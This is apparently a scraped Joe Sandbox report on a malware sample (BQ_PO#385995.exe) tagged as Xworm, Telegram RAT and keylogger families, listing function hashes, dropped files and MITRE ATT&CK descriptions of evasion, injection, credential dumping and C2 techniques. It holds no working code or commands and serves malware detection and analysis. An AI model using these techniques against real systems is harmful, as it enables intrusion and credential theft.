Instruction Fuzzy Hash: E7D0677AB00108AFCB149F98E8809DDF7B6FB98221B048166E915A3264C6319925DB50

Function 01016748 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4588807429.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1010000_ubygsn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fb9119a0b84ce6147d84168d723ceb6f72ce423e66f912b5b69859ec0a56953
Instruction ID: f417628dfb8009ae90b61af493b843d0909f5081ef7c28a14b1e826494082d2f
Opcode Fuzzy Hash: 9fb9119a0b84ce6147d84168d723ceb6f72ce423e66f912b5b69859ec0a56953
Instruction Fuzzy Hash: A2C0123143030B8BD509F775ED455153B5AAAC0300B54A518A1050564EDFFC99555790

Non-executed Functions

Function 06980040 Relevance: .6, Instructions: 596COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4613979259.0000000006980000.00000040.00000800.00020000.00000000.sdmp, Offset: 06980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6980000_ubygsn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb6a080de85f4d22282020321afbf62ced9cfb4d39ee7ad509c35820293110a4
Instruction ID: 60b572ede21053e191be98e338fa38fe8237c8d23c39c9044749e317ee5c80de
Opcode Fuzzy Hash: cb6a080de85f4d22282020321afbf62ced9cfb4d39ee7ad509c35820293110a4
Instruction Fuzzy Hash: ED529A74E01229CFDB64DF69C884B9EBBB2BB89300F1081EAD449A7255DB359E85CF50

Function 0101F961 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4588807429.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1010000_ubygsn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbee515ba76cc2583d0b5c636280b8507607b38d453ea622dac528b8df446ef5
Instruction ID: 1c419d322170848a036d544035b10baac6dae8ff40885a9d1e2162cb6d0f4c4d
Opcode Fuzzy Hash: fbee515ba76cc2583d0b5c636280b8507607b38d453ea622dac528b8df446ef5
Instruction Fuzzy Hash: 40C1B374E01219CFEB54EFA5C984B9DBBB2BF89300F1081A9D809AB355DB355E85CF50

Function 0698E6B0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4613979259.0000000006980000.00000040.00000800.00020000.00000000.sdmp, Offset: 06980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6980000_ubygsn.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: b2e43869c3396cfe51f65d5492357a99460205a8848471989845570dea45e203
Instruction ID: d38eb51add7bab71a11dcd57cf2536800a58e79751e9bad8421d176cc171854f
Opcode Fuzzy Hash: b2e43869c3396cfe51f65d5492357a99460205a8848471989845570dea45e203
Instruction Fuzzy Hash: 59C1A274E01218CFEB54EFA5C994B9DBBB2BF89300F2081A9D809AB355DB355E81CF50

Function 0698DE00 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4613979259.0000000006980000.00000040.00000800.00020000.00000000.sdmp, Offset: 06980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6980000_ubygsn.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: b396ab9babaff1dce74f851c8676a49ca0a26907d0cde0c8be8a8ed8a267c43f
Instruction ID: 9f61c51deb07cc58544f3e9f329426acb2857fa47618060d1654ae9faec5f36f
Opcode Fuzzy Hash: b396ab9babaff1dce74f851c8676a49ca0a26907d0cde0c8be8a8ed8a267c43f
Instruction Fuzzy Hash: 2AC1B274E01219CFEB54EFA5C994B9DBBB2BF89300F2081A9D809AB355DB355E81CF50

Function 0698E258 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4613979259.0000000006980000.00000040.00000800.00020000.00000000.sdmp, Offset: 06980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6980000_ubygsn.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 834dcf108e6e75cd1db038f119e8f08d4017b81248ce0d3ce1061659222fc9c5
Instruction ID: 9deaaa4eddd17f2102a3b3dfa1f3188af097d85157f1920f62d5493fdd23e337
Opcode Fuzzy Hash: 834dcf108e6e75cd1db038f119e8f08d4017b81248ce0d3ce1061659222fc9c5
Instruction Fuzzy Hash: 28C19274E01218CFEB54EFA5C994B9DBBB2BF89300F2081A9D809AB355DB355E85CF50

Function 0698F3B8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4613979259.0000000006980000.00000040.00000800.00020000.00000000.sdmp, Offset: 06980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6980000_ubygsn.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 68e967aa60d530ffcc92e98262d561082f1bac41e72e8e28f8a2dfb43b63833a
Instruction ID: 0c9ce14d33d5205cfc5efcfa3ca14082d62337ba89724855d95b32bf642757ff
Opcode Fuzzy Hash: 68e967aa60d530ffcc92e98262d561082f1bac41e72e8e28f8a2dfb43b63833a
Instruction Fuzzy Hash: 7DC1A274E01218CFEB54EFA5C984B9DBBB2BF89300F2091A9D809AB755DB355E81CF50

Function 0698EB08 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4613979259.0000000006980000.00000040.00000800.00020000.00000000.sdmp, Offset: 06980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6980000_ubygsn.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: fc9b308500b7fe97dccd2c32113956a391f27d7102342547db0f83eef5ce8324
Instruction ID: bbaf805599a84420178f23479951b972d822b220f28017d2e2ae2120048e2cbb
Opcode Fuzzy Hash: fc9b308500b7fe97dccd2c32113956a391f27d7102342547db0f83eef5ce8324
Instruction Fuzzy Hash: 9DC1A374E01218CFEB54EFA5C994B9DBBB2BF89300F2081A9D809AB355DB355E85CF50

Function 0698EF60 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4613979259.0000000006980000.00000040.00000800.00020000.00000000.sdmp, Offset: 06980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6980000_ubygsn.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 1b07e28285ed9be3a9a742da0412641e463db19e57ad4be652e0eb466d3cfe6d
Instruction ID: e9cdeaa2b4a947cbcc7553a70318d6fef300a3e5aed535f772daeed325b73e96
Opcode Fuzzy Hash: 1b07e28285ed9be3a9a742da0412641e463db19e57ad4be652e0eb466d3cfe6d
Instruction Fuzzy Hash: 3BC1A274E01218CFEB54EFA5C984B9DBBB2BF89300F2091A9D809AB355DB355E85CF50

Function 0698CCA0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4613979259.0000000006980000.00000040.00000800.00020000.00000000.sdmp, Offset: 06980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6980000_ubygsn.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 3ab2d97f4265a206e1b90a30e1097a7496061ed232be9010401e51263113a38c
Instruction ID: e3248198e8d6e1d26c671683ce642c19bc555c014e3d55cbfb2accf1f4a3150b
Opcode Fuzzy Hash: 3ab2d97f4265a206e1b90a30e1097a7496061ed232be9010401e51263113a38c
Instruction Fuzzy Hash: 2DC19374E01218CFEB54EFA5C984B9DBBB2BF89300F2081A9D809AB355DB355E85CF50

Function 0698D0F8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4613979259.0000000006980000.00000040.00000800.00020000.00000000.sdmp, Offset: 06980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6980000_ubygsn.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: e54cdeebfb18eca57af65cb042175078e3a9b023d4239a7e4fd8ae62f68bad09
Instruction ID: 5526e6cb5bffccc11e6d52c8be8bf961c85c9f5eb11f64cacb7bd9be8e35cb0b
Opcode Fuzzy Hash: e54cdeebfb18eca57af65cb042175078e3a9b023d4239a7e4fd8ae62f68bad09
Instruction Fuzzy Hash: 8DC19374E01218CFEB54EFA5C984B9DBBB2BF89300F2081A9D409AB355DB355E85CF50

Function 0698F810 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4613979259.0000000006980000.00000040.00000800.00020000.00000000.sdmp, Offset: 06980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6980000_ubygsn.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: b4349079f1adab3df91b1150319ee1dac05369e94a155ee1e43f4b0fd422dc38
Instruction ID: 010164c2ef68dc434ad4e4c494416fb2f62b37db2067d6dedc8b9bc6bb7014f1
Opcode Fuzzy Hash: b4349079f1adab3df91b1150319ee1dac05369e94a155ee1e43f4b0fd422dc38
Instruction Fuzzy Hash: A5C1A374E01218CFDB54EFA5C984B9DBBB2BF89300F2091A9D809AB355DB355E85CF50

Function 0698D9A8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4613979259.0000000006980000.00000040.00000800.00020000.00000000.sdmp, Offset: 06980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6980000_ubygsn.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: c1cb190c464e3db3e31276ccdc7ff1dc1f90f14681e869cf4e13dc06d941c8e1
Instruction ID: f04d8ec8a1b8837950cbda570ed516455873b49c8ad8ffd9c29e9087534b5c59
Opcode Fuzzy Hash: c1cb190c464e3db3e31276ccdc7ff1dc1f90f14681e869cf4e13dc06d941c8e1
Instruction Fuzzy Hash: 6FC19374E01218CFEB54EFA5C984B9DBBB2BF89300F2081A9D809AB755DB355E85CF50

Function 0698D550 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4613979259.0000000006980000.00000040.00000800.00020000.00000000.sdmp, Offset: 06980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6980000_ubygsn.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 5e098df0889d46450f93a6b23d9b5ec440470341e70236e5b351de2ff514cf4e
Instruction ID: e8e00a2a32866c6e09b4380b513850e1d2271ff2330da66d8284657bacfde6c6
Opcode Fuzzy Hash: 5e098df0889d46450f93a6b23d9b5ec440470341e70236e5b351de2ff514cf4e
Instruction Fuzzy Hash: E8C19274E01218CFEB54EFA5C994B9DBBB2BF89300F2081A9D809AB355DB355E85CF50

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report BQ_PO#385995.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Xworm

Threatname: Telegram RAT

Threatname: VIP Keylogger

Threatname: Snake Keylogger

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Exploits

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_BQ_PO#385995.exe_6ccaa2afa6b5f377ea7f90a334b7f523bda1e5f6_45f15e28_b018de68-6682-4740-85dd-d222ff961ec2\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2620.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2CE7.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2D65.tmp.xml

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4yzqir51.bji.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5kcpotrt.31e.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ngbycr0o.lsg.psm1

Windows Analysis Report
BQ_PO#385995.exe

Function 00007FFD34472158 Relevance: 4.4, Strings: 3, Instructions: 634
COMMON

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre